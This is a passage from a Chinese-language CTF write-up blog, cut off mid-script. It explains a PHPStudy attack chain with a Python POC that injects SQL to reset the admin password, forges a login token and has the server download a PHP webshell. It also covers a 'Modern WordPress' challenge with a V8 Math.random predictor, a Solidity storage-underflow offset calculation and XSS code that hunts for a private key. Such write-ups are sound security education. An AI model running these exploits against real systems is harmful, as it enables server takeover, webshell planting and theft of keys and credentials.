https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-ida-onsocket-300x250.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/r3php-phpstudy-ida-onsocket-150x125.png 150w\" sizes=\"auto, (max-width: 736px) 100vw, 736px\" \/><\/p>\n<p>\u5927\u6982\u5c31\u662f\uff0c\u6b7b\u5faa\u73af\u91cc\u8fb9 read()\uff0c\u6709\u6570\u636e\u4e4b\u540e\u52a0\u8fdb\u7f13\u51b2\u533a\uff0c\u641c\u7b2c\u4e00\u4e2a ^^^ \u8fdb\u884c\u5904\u7406\u3002\u4e5f\u5c31\u662f\u8bf4\uff0c\u5982\u679c\u6211\u4eec\u53d1\u9001\u5f97\u592a\u5feb\uff0c\u7b2c\u4e00\u6b21\u5c31\u5168\u90e8 read \u8fdb\u6765\u4e86\uff0c\u5904\u7406\u5b8c\u7b2c\u4e00\u6761 command \u4e4b\u540e\u5373\u4f7f\u8fd8\u6709\u7b2c\u4e8c\u4e2a\uff0c\u4e5f\u4f1a\u5728 read() \u5904\u963b\u585e\uff0c\u6ca1\u6cd5\u7ee7\u7eed\u6267\u884c\u3002\u4e4b\u524d nc \u4e00\u884c\u884c\u5730\u53d1\u9001\u6b63\u597d\u907f\u514d\u4e86\u8fd9\u79cd\u60c5\u51b5\u7684\u53d1\u751f\u3002<\/p>\n<p>\u90a3\u73b0\u5728\u600e\u4e48\u529e\u5462\uff1ffile_get_contents() \u80af\u5b9a\u662f\u6ca1\u6cd5\u7b49\u5230\u6570\u636e\u53d1\u56de\u6765\uff0c\u518d\u63a5\u7740\u7ee7\u7eed\u53d1\u7684\u3002\u5176\u5b9e\u53ef\u4ee5\u53d1\u73b0\uff0c\u53ea\u8981\u8ba9 read() \u4e0d\u963b\u585e\u5c31\u884c\u4e86\uff0c^^^ \u53ef\u4ee5\u5305\u542b\u5728\u521a\u5f00\u59cb\u53d1\u8fc7\u53bb\u7684\u6570\u636e\u91cc\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u53ef\u4ee5\u7528\u4e00\u5806\u5783\u573e\u6570\u636e\u4e0d\u65ad\u586b\u6ee1 read \u7684\u7f13\u51b2\u533a\uff0c\u8ba9 f_g_c() \u4e00\u76f4\u53d1\uff0c\u7b49\u5230 phpstudy \u5904\u7406\u5b8c\u7b2c\u4e00\u4e2a parse error \u4e3a\u6b62\uff0c\u5982\u679c\u6570\u636e\u8d3c\u591a\uff0c\u8fd8\u5728\u53d1\u7684\u8bdd\uff0c\u5c31\u80fd\u987a\u5229\u6267\u884c\u7b2c\u4e8c\u6761 command\u3002<\/p>\n<p>\u81f3\u6b64\uff0c\u5df2\u7ecf\u5b8c\u6210\u672c\u9898\u653b\u51fb\u94fe\u4e2d\u6240\u6709\u7ec6\u8282\u3002<\/p>\n<p>trash data \u5237\u65b0\u7f13\u51b2\u533a ==&gt; SQL \u6ce8\u5165\u4fee\u6539 admin \u5bc6\u7801 ==&gt; \u57fa\u4e8e Timestamp \u8ba1\u7b97\u767b\u5f55 TOKEN ==&gt; \u8fdc\u7a0b\u4e0b\u8f7d PHP shell \u81f3 wwwroot<\/p>\n<pre class=\"lang:python decode:true \" title=\"POC\">import requests, time, hashlib\r\n\r\nURL = 'http:\/\/ctf2024-entry.r3kapig.com:32182\/'\r\n\r\ndef send_json(pay):\r\n    data = {'url': 'http:\/\/127.0.0.1:8090\/aaa',\r\n        'header': '^^^' + pay + '^^^' + 'A'*100000}\r\n    try:\r\n        res = requests.post(URL, data=data, timeout=3)\r\n    except requests.exceptions.Timeout:\r\n        print('timeout')\r\n    else:\r\n        print(res.status_code)\r\n\r\n\r\nsend_json('''{\"command\":\"login\",\"data\":{\"username\":\"aaa'; UPDATE ADMINS SET PASSWORD='c26be8aaf53b15054896983b43eb6a65'; -- a\",\"pwd\":\"123456\"},\"token\":\"\"}''')\r\nts = int(time.time())\r\nprint('timestamp', ts)\r\ntoken = hashlib.md5(hashlib.md5(('admin' + str(ts)).encode()).hexdigest().upper().encode()).hexdigest().upper()\r\nsend_json('''{\"command\":\"login\",\"data\":{\"username\":\"admin\",\"pwd\":\"123456\"},\"token\":\"\"}''')\r\nsend_json('''{\"command\":\"download_remote_file\",\"uid\":4,\"data\":{\"remote_url\":\"http:\/\/IP\/shell.php\",\"download_to\":\"\/www\/admin\/localhost_80\/wwwroot\/shell.php\"},\"token\":\"TOKEN\"}'''.replace(\"TOKEN\", token))<\/pre>\n<p>\u540e\u8bb0\uff1a\u51fa\u9898\u4eba\u76f4\u63a5\u5199\u4e86\u4e2a\u8ba1\u5212\u4efb\u52a1 TASKMNG \u8868\uff0c\u6211\u538b\u6839\u6ca1\u6ce8\u610f\u5230\u3002<\/p>\n<p><a id=\"modern_wordpress\"><\/a>\u00a0<\/p>\n<ul>\n<li><span style=\"font-size: 20px;\"><strong>web &gt;&gt; Modern WordPress<br \/>\n<\/strong><\/span><\/li>\n<\/ul>\n<p>\u4ee3\u7801\u5f88\u591a\uff0c\u5f88\u590d\u6742\uff0c\u9996\u5148\u660e\u786e\u4e00\u4e0b\u8981\u505a\u4ec0\u4e48\u3002<\/p>\n<p>\u8981\u83b7\u53d6 flag\u3002flag \u5728\u54ea\uff1f\/api\/flag \u8def\u7531\u91cc\u8fb9\u6709\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1844\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-route-api-flag.png\" alt=\"\" width=\"928\" height=\"516\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-route-api-flag.png 928w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-route-api-flag-300x167.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-route-api-flag-150x83.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-route-api-flag-768x427.png 768w\" sizes=\"auto, (max-width: 928px) 100vw, 928px\" \/><\/p>\n<p>\u7136\u540e\u9700\u8981 info.accounts[0].addr \u53ca\u5176\u79c1\u94a5\u7528\u6765\u7b7e\u540d\u3002\u8fd9\u4e2a\u53c8\u5728\u54ea\u91cc\uff1f\/api\/bot \u91cc\u9762\u6709\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1845\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-route-api-bot.png\" alt=\"\" width=\"834\" height=\"609\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-route-api-bot.png 834w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-route-api-bot-300x219.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-route-api-bot-150x110.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-route-api-bot-768x561.png 768w\" sizes=\"auto, (max-width: 834px) 100vw, 834px\" \/><\/p>\n<p>\u8fd9\u91cc\u662f\u4e2a XSS\uff0cadmin \u628a\u79c1\u94a5\u586b\u8fdb\u53bb\uff0c\u7136\u540e\u770b\u4e86\u770b Posts\u3002\u5148\u522b\u7ba1\u5177\u4f53\u548b X \u7684\uff0c\u627e\u627e\u5185\u5bb9\u4ece\u54ea\u91cc\u6765\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1846\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-page-posts.png\" alt=\"\" width=\"974\" height=\"679\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-page-posts.png 974w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-page-posts-300x209.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-page-posts-150x105.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-page-posts-768x535.png 768w\" sizes=\"auto, (max-width: 974px) 100vw, 974px\" \/><\/p>\n<p>\u53ef\u4ee5\u53d1\u73b0 admin \u67e5\u770b\u4e86\u81ea\u5df1\u7684 Posts\uff0c\u7136\u540e\u4e0a\u8fb9\u90a3\u4e2a dangerouslySetInnerHTML \u76f4\u63a5\u5c31\u628a\u6211\u4eec\u7684\u5185\u5bb9\u5408\u5e76\u8fdb\u53bb\uff0c\u4e00\u53d1 XSS \u4e86\u3002<\/p>\n<p>\u6240\u4ee5\u6211\u4eec\u7684\u76ee\u6807\u662f\uff0c\u4fee\u6539 admin \u7684 Posts \u4e3a\u6076\u610f\u5185\u5bb9\uff0c\u89e6\u53d1 XSS\u3002\u53ea\u6709\u8fd9\u6761\u8def\uff0c\u56e0\u4e3a\u5176\u4ed6\u5565\u53c2\u6570\u90fd\u4e0d\u53ef\u63a7\u3002<\/p>\n<p>\u90a3\u4e48\u73b0\u5728\u53ef\u4ee5\u505a\u4ec0\u4e48\u5462\uff1f\u6709\u4e2a\u533a\u5757\u94fe\uff0cweb3\uff0c\u60f3\u5e72\u70b9\u5565\u90fd\u8981\u91d1\u5e01\uff0c\u4f46\u662f\u521d\u59cb\u8d26\u6237\u91cc\u6ca1\u6709\u4f59\u989d\u3002\u6240\u4ee5\u9996\u5148\uff0c\u5f97\u5f80\u81ea\u5df1\u7684\u8d26\u6237\u91cc\u5145\u94b1\u3002\u770b \/api\/recharge \u53ef\u4ee5\u53d1\u73b0\u5145\u94b1\u662f\u8981\u7528 redeem code \u5145\u7684\u3002\u5b83\u751f\u6210\u7684\u903b\u8f91\u662f\u8fd9\u6837\uff1a<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1847\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-recharge-redeem-code.png\" alt=\"\" width=\"645\" height=\"345\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-recharge-redeem-code.png 645w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-recharge-redeem-code-300x160.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-recharge-redeem-code-150x80.png 150w\" sizes=\"auto, (max-width: 645px) 100vw, 645px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1848\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-recharge-randomstr.png\" alt=\"\" width=\"750\" height=\"172\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-recharge-randomstr.png 750w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-recharge-randomstr-300x69.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-recharge-randomstr-150x34.png 150w\" sizes=\"auto, (max-width: 750px) 100vw, 750px\" \/><\/p>\n<p>\u7ecf\u5178 Math.random() \u4e86\uff0c\u5728 Node.JS \u91cc\u8fb9\u662f\u53ef\u4ee5\u9884\u6d4b\u7684\uff0c\u5f53\u7136\uff0c\u7406\u8bba\u4e0a\u4e5f\u53ef\u4ee5\u5411\u524d&#8221;\u9884\u6d4b&#8221;\u3002\u518d\u770b\u770b\u8fd9\u73a9\u610f\u5176\u4ed6\u7684\u8f93\u51fa\u70b9\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1849\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-randomstr-call.png\" alt=\"\" width=\"1280\" height=\"347\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-randomstr-call.png 1280w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-randomstr-call-300x81.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-randomstr-call-1024x278.png 1024w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-randomstr-call-150x41.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-randomstr-call-768x208.png 768w\" sizes=\"auto, (max-width: 1280px) 100vw, 1280px\" \/><\/p>\n<p>\u53c8\u53d1\u73b0\uff0c\u7206 500 \u7684\u65f6\u5019\u987a\u4fbf\u628a\u8fd9\u73a9\u610f\u8f93\u51fa\u6765\u4e86\uff0c\u7ed9\u5b9a\u4e86\u8db3\u591f\u7684\u72b6\u6001\u4ee5\u540e\uff0c\u5c31\u53ef\u4ee5\u8fd8\u539f redeem code\u3002<\/p>\n<p><a href=\"https:\/\/github.com\/PwnFunction\/v8-randomness-predictor\">https:\/\/github.com\/PwnFunction\/v8-randomness-predictor<\/a><\/p>\n<p>\u7136\u800c\u518d\u4ed4\u7ec6\u770b\u770b\uff0c\u4f1a\u53d1\u73b0\u6709\u70b9\u4e0d\u5bf9\u5934\u3002\u8fd9\u91cc\u8f93\u51fa\u7684\u662f 36 \u8fdb\u5236\u7684 String\uff0c\u4e00\u6b21 <code>Math.random().toString(36)<\/code> \u5c0f\u6570\u70b9\u540e\u6709 11 \u4f4d\uff0crecharge \u7684 16 \u957f\u5ea6\u7531\u4e24\u4e2a\u62fc\u63a5\u800c\u6765\uff0c\u4f46\u62a5\u9519\u91cc\u80fd\u83b7\u53d6\u7684\u53ea\u6709 10 \u4f4d\uff0c\u4e5f\u5c31\u662f\u6700\u540e\u4e00\u4f4d\u6ca1\u4e86\u3002<\/p>\n<p>\u521a\u5f00\u59cb\u60f3\u7206\u7834\uff0c\u7136\u540e\u53d1\u73b0\u4e0d\u592a\u73b0\u5b9e\u3002\u5176\u5b9e V8 \u968f\u673a\u6570\u751f\u6210\u7684\u903b\u8f91\u5f88\u7b80\u5355\uff0c\u5c31\u662f\u4f4d\u79fb\u79fb\u5f02\u6216\u6216\uff0c\u6240\u4ee5\u7406\u8bba\u4e0a\u5931\u53bb\u4e86\u6700\u540e\u4e00\u4f4d\uff08\u5927\u7ea6 4~8 bit \u7684\u4fe1\u606f\uff09\uff0c\u662f\u80fd\u901a\u8fc7\u66f4\u591a\u7684\u72b6\u6001\u8865\u5145\u56de\u6765\u7684\u3002\u4e5f\u5c31\u662f\u8bf4\u8981\u505a\u7684\u5176\u5b9e\u5f88\u7b80\u5355\uff0c\u628a\u4ee3\u7801\u6539\u6210\u5411\u524d\u56de\u6eaf\u72b6\u6001\uff08&#8221;\u9884\u6d4b&#8221;\uff09\u7684\uff0c\u7136\u540e\u52a0\u5165 10 \u4e2a\u5de6\u53f3\u751f\u6210\u7684\u6570\uff08\u539f\u672c\u662f 5 \u4e2a\uff09\uff0c\u5728\u8ba1\u7b97\u65f6\u628a\u4f4e 8 \u4f4d mask \u6389\uff08\u8868\u793a\u672a\u77e5\uff09\uff0c\u7167\u6837\u80fd\u89e3\u51fa\u6765\u3002<\/p>\n<pre class=\"lang:python decode:true \" title=\"Predict redeem code\">#!\/usr\/bin\/python3\r\nimport z3\r\nimport struct\r\n\r\ndef base_fromf(x):\r\n    ret = 0.0\r\n    base = 1\/36\r\n    for i in range(len(x)):\r\n        ret += base * int(x[i], 36)\r\n        base \/= 36\r\n    return ret\r\n\r\ndef base_tof(x):\r\n    ret = ''\r\n    while x &gt; 1e-4:\r\n        ret += '0123456789abcdefghijklmnopqrstuvwxyz'[int(x*36)]\r\n        x = x*36 - int(x*36)\r\n    return ret\r\n\r\ndef check(sequence):\r\n    sequence = sequence[::-1]\r\n\r\n    solver = z3.Solver()\r\n\r\n    se_state0, se_state1 = z3.BitVecs(\"se_state0 se_state1\", 64)\r\n\r\n    for i in range(len(sequence)):\r\n        se_s1 = se_state0\r\n        se_s0 = se_state1\r\n        se_state0 = se_s0\r\n        se_s1 ^= se_s1 &lt;&lt; 23\r\n        se_s1 ^= z3.LShR(se_s1, 17)  # Logical shift instead of Arthmetric shift\r\n        se_s1 ^= se_s0\r\n        se_s1 ^= z3.LShR(se_s0, 26)\r\n        se_state1 = se_s1\r\n\r\n        if isinstance(sequence[i], str): \r\n            solver.add(z3.BitVec(sequence[i], 64) == z3.LShR(se_state0, 12))\r\n            continue\r\n\r\n        float_64 = struct.pack(\"d\", sequence[i] + 1)\r\n        u_long_long_64 = struct.unpack(\"&lt;Q\", float_64)[0]\r\n\r\n        # Get the lower 52 bits (mantissa)\r\n        mantissa = u_long_long_64 &amp; ((1 &lt;&lt; 52) - 1)\r\n\r\n        mask = ((1 &lt;&lt; 64) - 1) &amp; ~((1 &lt;&lt; 8) - 1)\r\n        # Compare Mantissas ( except lower 8 digits )\r\n        solver.add((int(mantissa) &amp; mask) == (z3.LShR(se_state0, 12) &amp; mask))\r\n\r\n    if solver.check() == z3.sat:\r\n        return solver.model()\r\n    return False\r\n\r\ndef answer(model):\r\n    states = {}\r\n    for state in model.decls():\r\n        states[state.__str__()] = model[state]\r\n\r\n    print(states)\r\n\r\n    state0 = states[\"se_state0\"].as_long()\r\n\r\n    for state in model.decls():\r\n        if (mat:=state.__str__()).startswith('mat'):\r\n            \r\n            u_long_long_64 = (states[mat].as_long() &gt;&gt; 0) | 0x3FF0000000000000\r\n            float_64 = struct.pack(\"&lt;Q\", u_long_long_64)\r\n            prev_sequence = struct.unpack(\"d\", float_64)[0]\r\n            prev_sequence -= 1\r\n\r\n            print(mat, prev_sequence, base_tof(prev_sequence))\r\n\r\norg = ['mat0','mat1','mat2','mat3','mat4','mat5']\r\n\r\ndef getapd(n):\r\n    import requests\r\n    ret = []\r\n    for i in range(n):\r\n        res = requests.post('http:\/\/ctf2024-entry.r3kapig.com:32090\/api\/backend', data='{\"js', headers={'Content-Type': 'application\/json'})\r\n        print(i, num:=res.json()['data']['id'])\r\n        ret.append(num)\r\n    ret = ret[1:] # first for check\r\n    print('')\r\n    return ret\r\n\r\n# Array.from(Array(100), ()=&gt;(Math.random().toString(36).substring(2).slice(0,10)))\r\napd = getapd(10)\r\n\r\napd = list(map(base_fromf, apd))\r\nprint(apd)\r\nmodel = check(org + apd)\r\nif model is False:\r\n    print('unsolvable')\r\nelse:\r\n    answer(model)<\/pre>\n<p>Python \u7684 36 \u8fdb\u5236\u8f6c 10 \u8fdb\u5236\u5c0f\u6570\u8fd8\u6709\u70b9\u7cbe\u5ea6\u4e22\u5931\uff0c\u884c\u4e3a\u4e0d\u4e00\u81f4\uff0c\u5f88\u96be\u5d29\uff0c\u7ed3\u679c\u62f7\u5230 Node.JS \u4e0a\u9762\u518d\u8f6c\u3002<\/p>\n<p>\u6709\u4e86\u91d1\u5e01\u4ee5\u540e\u5c31\u53ef\u4ee5\u8fdb\u884c\u667a\u80fd\u5408\u7ea6\u7684\u94fe\u4e0a\u64cd\u4f5c\uff0c\u8fd9\u4e0a\u8fb9\u80fd register\uff0cpublish\uff0cedit\uff0c\u4f46\u95ee\u9898\u662f\uff0c\u90fd\u53ea\u80fd\u64cd\u4f5c\u81ea\u5df1\u7684\uff0c\u4e5f\u5c31\u662f sender.address\uff0c\u6ca1\u6cd5\u4fee\u6539\u522b\u4eba\uff0c\u6216\u8005\u8bf4 admin \u7684 Posts \u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1850\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-chain-operation.png\" alt=\"\" width=\"979\" height=\"534\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-chain-operation.png 979w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-chain-operation-300x164.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-chain-operation-150x82.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-chain-operation-768x419.png 768w\" sizes=\"auto, (max-width: 979px) 100vw, 979px\" \/><\/p>\n<p>\u518d\u4ed4\u7ec6\u770b\u770b\u8fd9\u91cc\uff0c\u8fd9\u4e2a undo() \u529f\u80fd\uff0c\u9996\u5148\u628a length \u51cf\u4e86 1\uff0c\u7136\u540e\u518d\u5224\u65ad\u5b83\u662f\u5426 &gt;=0\u3002\u770b\u8d77\u6765\u597d\u50cf\u6ca1\u95ee\u9898\uff1f\u56e0\u4e3a require() \u4e0d\u6ee1\u8db3\uff0c\u4ea4\u6613\u5c31\u4e0d\u4f1a\u6210\u529f\u3002\u518d\u8bf4\u4e86\uff0c\u5c31\u7b97\u662f\u8d1f\u6570\u53c8\u80fd\u600e\u4e48\u6837\u3002\u7136\u540e\u53ef\u4ee5\u53d1\u73b0\uff0clength \u5728 solidity \u91cc\u662f\u4e2a uint256 \u7c7b\u578b\u7684\uff0c\u4e5f\u5c31\u662f\u8bf4 0-1 \u4f1a\u4e0b\u6ea2\u51fa\u81f3 2^256-1 \u6700\u5927\u503c\uff0c\u5bfc\u81f4\u8be5\u6570\u7ec4\u53ef\u4ee5\u5bf9\u4efb\u610f\u7684 offset \u8fdb\u884c\u8bbf\u95ee\uff0c\u7406\u8bba\u4e0a\u5f62\u6210\u4efb\u610f\u8bfb\u5199\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1851\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-chain-undo.png\" alt=\"\" width=\"908\" height=\"294\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-chain-undo.png 908w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-chain-undo-300x97.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-chain-undo-150x49.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-chain-undo-768x249.png 768w\" sizes=\"auto, (max-width: 908px) 100vw, 908px\" \/><\/p>\n<p>\u8fd9\u91cc\u4fbf\u9700\u8981\u4e00\u4e9b solidity memory layout \u7684\u77e5\u8bc6\u3002<\/p>\n<p><a href=\"https:\/\/docs.soliditylang.org\/en\/v0.8.17\/internals\/layout_in_storage.html\">https:\/\/docs.soliditylang.org\/en\/v0.8.17\/internals\/layout_in_storage.html<\/a><\/p>\n<p>\u5bf9\u7740\u5b83\u7684\u5408\u7ea6\uff0cversion \u5360\u636e slot0\uff0c\u6211\u4eec\u5728\u7684 postMapping \u5bf9\u5e94 slot4\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0cpostMapping[address] \u5bf9\u5e94\u7684 slot \u4e3a <code>keccak256(bytes32(account) + bytes32(4))<\/code> \u3002\u7531\u4e8e Post[] \u53c8\u662f dynamic array\uff0c\u9700\u8981\u5bf9\u4e4b\u524d\u5f97\u5230\u7684\u5730\u5740\u518d\u6b21 keccak256()\uff0c\u5f97\u5230\u8be5\u6570\u7ec4\u7684\u8d77\u59cb slot\u3002\u6570\u7ec4\u5185\u5404\u5143\u7d20\u5b58\u653e\u5730\u5740\u4e3a <code>keccak256(\u8d77\u59cbslot + index)<\/code>\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1852\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-blog-solidity-struct.png\" alt=\"\" width=\"691\" height=\"389\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-blog-solidity-struct.png 691w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-blog-solidity-struct-300x169.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-blog-solidity-struct-150x84.png 150w\" sizes=\"auto, (max-width: 691px) 100vw, 691px\" \/><\/p>\n<p>\u6709\u4e86\u8be5\u6ea2\u51fa\u4e4b\u540e\uff0c\u7531\u4e8e solidity \u5bf9\u6bcf\u4e2a\u5408\u7ea6\u5171\u7528\u4e00\u4e2a 2^256 slot \u5927\u5c0f\u7684\u5730\u5740\u7a7a\u95f4\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u7531\u6211\u4eec\u7684 Post[] \u662f\u53ef\u4ee5\u8bbf\u95ee\u5230\u5bf9\u5e94 admin \u7684 Post[] \u6570\u7ec4\u7684\uff0c\u53ea\u662f\u9700\u8981\u6ce8\u610f\u5230\u4e00\u4e9b\u7b80\u5355\u7684\u8ba1\u7b97\u3002\u8fd9\u91cc\u8fd8\u8981\u7279\u522b\u6ce8\u610f\uff0c\u7531\u4e8e struct Post \u5360 3 \u4e2a slot\uff0c\u6240\u4ee5\u8ba1\u7b97 offset \u65f6\u9700\u8981\u9664\u4ee5 3\uff0c\u5e76\u4fdd\u8bc1\u80fd\u591f\u6574\u9664\uff0c\u5426\u5219\u9700\u8981\u66f4\u6362\u5730\u5740\u7ee7\u7eed\u3002<\/p>\n<pre class=\"lang:python decode:true \" title=\"Calculate slot offset\">mypos = keccak256(keccak256(bytes32(account) + bytes32(4)))\r\nadmin = '0x04478cD6BD7DE5f721a88d25A2f44edba2627276'[2:].lower() # &lt;--- admin public address\r\napos = keccak256(keccak256(bytes32(admin) + bytes32(4)))\r\n\r\noffset = int(apos, 16) - int(mypos, 16)\r\nif offset &lt; 0:\r\n    offset += 2**256\r\nassert(offset % 3 == 0)\r\noffset \/\/= 3<\/pre>\n<p>\u8fd9\u6837\u5f97\u51fa\u7684 offset\uff0c\u5c31\u662f\u5728\u8bbf\u95ee\u6211\u4eec\u7684 Post[] \u6570\u7ec4\u65f6\uff0c\u6307\u5b9a\u6b64 index \u4fbf\u80fd\u795e\u5947\u5730\u8bbf\u95ee\u5230 admin \u7684\u7b2c\u4e00\u7bc7 Post\uff01\u540c\u7406\uff0c\u5c31\u53ef\u4ee5 edit() \u8fd9\u7bc7\u6587\u7ae0\u4e3a\u6076\u610f XSS payload\uff0c\u7136\u540e\u8ba9 admin \u53bb\u8bbf\u95ee\u3002<\/p>\n<p>\u90a3\u4e48\u63a5\u4e0b\u6765\uff0c\u89e3\u51b3 XSS \u7684\u95ee\u9898\u3002\u6211\u4eec\u8981\u5077\u7684 private key \u5b83\u6070\u597d\u4e0d\u597d\uff0c\u4e0d\u5728 cookie \u91cc\uff0c\u4e5f\u4e0d\u5728 localStorage \u91cc\uff0c\u504f\u504f\u5c31\u5728 React \u5199\u7684\u524d\u7aef\u7684\u4e00\u4e2a Context (Provider) \u91cc\u3002\u8fd9\u548b\u6574\uff1f\u53bb\u9006\u7f16\u8bd1\u51fa\u6765\u7684 js \u80af\u5b9a\u662f\u4e0d\u53ef\u80fd\u7684\u3002\u5176\u5b9e\u518d\u60f3\u60f3\uff0c\u80fd\u53d1\u73b0\u5b83\u7684\u8fd9\u4e9b props \u80af\u5b9a\u662f\u5b58\u5728 DOM \u6811\u91cc\u7684\u3002\u5177\u4f53\u6765\u8bf4\u662f\u54ea\u91cc\uff1f\u4e09\u4e2a\u5b57\uff1a\u4e0d\u77e5\u9053\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1853\" src=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-react-dom-tree.png\" alt=\"\" width=\"821\" height=\"163\" srcset=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-react-dom-tree.png 821w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-react-dom-tree-300x60.png 300w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-react-dom-tree-150x30.png 150w, https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2024\/06\/mw-react-dom-tree-768x152.png 768w\" sizes=\"auto, (max-width: 821px) 100vw, 821px\" \/><\/p>\n<p>\u56e0\u4e3a\u662f\u771f\u7684\u4e0d\u77e5\u9053\u3002\u6bcf\u6b21\u6e32\u67d3\u751f\u6210\u7684\u5b57\u7b26\u4e32\u662f\u968f\u673a\u7684\uff0c\u6211\u4eec\u53ea\u77e5\u9053 private key \u80af\u5b9a\u5728\u8fd9\u91cc\u5934\uff0c\u4f46\u662f\u65e0\u4ece\u627e\u8d77\u3002\u4e0d\u8fc7\u5176\u5b9e\u4e5f\u597d\u529e\uff0c\u90fd XSS \u80fd\u6267\u884c JS \u4e86\uff0c\u8ba9\u5b83\u76f4\u63a5\u5f00\u641c\u5457\u3002\u7b80\u5355\u5730\u6413\u4e00\u4e2a\u9012\u5f52\u67e5\u627e\u5c5e\u6027\u7684\u3002<\/p>\n<pre class=\"lang:js decode:true \" title=\"Find props in DOM tree\">function findVal(object, key, path, depth) {\r\n    var value;\r\n    Object.keys(object).some(function(k) {\r\n        if (k === key) {\r\n            console.log(path);\r\n            value = object[k];\r\n            return true;\r\n        }\r\n        if (object[k] &amp;&amp; typeof object[k] === 'object' &amp;&amp; depth &gt; 0) {\r\n            value = findVal(object[k], key, path + '.' + k, depth - 1);\r\n            return value !== undefined;\r\n        }\r\n    });\r\n    return value;\r\n}\r\nfindVal(document.getElementById(\"root\"), \"privateKey\", '', 10)\r\n\/\/ 